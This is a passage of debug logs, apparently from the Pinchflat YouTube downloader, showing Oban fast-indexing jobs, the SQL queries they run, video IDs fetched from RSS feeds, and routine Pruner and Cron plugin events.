s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:50:29.454 [debug] QUERY OK source="settings" db=0.0ms idle=66.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:50:29.454 [debug] QUERY OK source="media_profiles" db=0.1ms idle=66.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:50:29.455 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:50:29.455 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 07:50:29.732 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 07:50:29.733 [debug] QUERY OK source="media_items" db=0.2ms idle=279.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 07:50:29.736 [debug] QUERY OK source="media_items" db=2.1ms idle=279.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 07:50:29.736 [debug] QUERY OK source="tasks" db=0.0ms idle=281.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [556, 1, ~U[2026-07-24 07:50:29Z], ~U[2026-07-24 07:50:29Z]] 07:50:29.737 [info] {"args":{"id":1},"id":543,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":282660,"event":"job:stop","queue_time":559883,"attempt":13,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:50:41.466 [info] {"args":{"id":3},"id":555,"meta":{},"system_time":1784879441466180656,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:50:41.466 [debug] QUERY OK source="sources" db=0.0ms idle=76.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:50:41.466 [debug] QUERY OK source="settings" db=0.0ms idle=76.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:50:41.466 [debug] QUERY OK source="media_profiles" db=0.0ms idle=76.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:50:41.466 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:50:41.466 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 07:50:41.667 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:50:41.668 [debug] QUERY OK source="media_items" db=0.2ms idle=201.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:50:41.670 [debug] QUERY OK source="media_items" db=2.1ms idle=202.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 07:50:41.671 [debug] QUERY OK source="tasks" db=0.0ms idle=204.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [557, 3, ~U[2026-07-24 07:50:41Z], ~U[2026-07-24 07:50:41Z]] 07:50:41.671 [info] {"args":{"id":3},"id":555,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":205434,"event":"job:stop","queue_time":477717,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:50:56.017 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.205 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:51:26.018 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:56.019 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.206 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:52:26.020 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:56.021 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.206 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:53:26.022 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:56.023 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.207 [info] {"source":"oban","duration":116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:54:26.024 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:56.025 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.209 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:55:26.026 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:56.027 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.209 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:56:26.028 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:56.029 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.211 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:57:26.030 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:56.031 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.212 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:58:26.032 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:56.033 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.213 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:59:26.034 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:56.035 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.214 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:00:26.036 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:30.081 [info] {"args":{"id":1},"id":556,"meta":{},"system_time":1784880030081289472,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:00:30.081 [debug] QUERY OK source="sources" db=0.1ms idle=662.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:00:30.081 [debug] QUERY OK source="settings" db=0.0ms idle=662.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:00:30.081 [debug] QUERY OK source="media_profiles" db=0.0ms idle=662.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:00:30.081 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:00:30.081 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 08:00:30.219 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:00:30.220 [debug] QUERY OK source="media_items" db=0.2ms idle=138.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:00:30.222 [debug] QUERY OK source="media_items" db=1.9ms idle=138.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 08:00:30.223 [debug] QUERY OK source="tasks" db=0.0ms idle=141.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [558, 1, ~U[2026-07-24 08:00:30Z], ~U[2026-07-24 08:00:30Z]] 08:00:30.223 [info] {"args":{"id":1},"id":556,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141812,"event":"job:stop","queue_time":344525,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:00:42.093 [info] {"args":{"id":3},"id":557,"meta":{},"system_time":1784880042093072999,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:00:42.093 [debug] QUERY OK source="sources" db=0.1ms idle=674.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 08:00:42.093 [debug] QUERY OK source="settings" db=0.0ms idle=674.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:00:42.093 [debug] QUERY OK source="media_profiles" db=0.0ms idle=674.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:00:42.093 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:00:42.093 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 08:00:42.124 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:00:42.124 [debug] QUERY OK source="media_items" db=0.2ms idle=31.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:00:42.126 [debug] QUERY OK source="media_items" db=1.7ms idle=31.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 08:00:42.127 [debug] QUERY OK source="tasks" db=0.0ms idle=33.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [559, 3, ~U[2026-07-24 08:00:42Z], ~U[2026-07-24 08:00:42Z]] 08:00:42.127 [info] {"args":{"id":3},"id":557,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":34324,"event":"job:stop","queue_time":421928,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:00:56.037 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.215 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:01:26.038 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:56.039 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.215 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:02:26.040 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:56.041 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.217 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:03:26.042 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:56.043 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.218 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:04:26.044 [info] 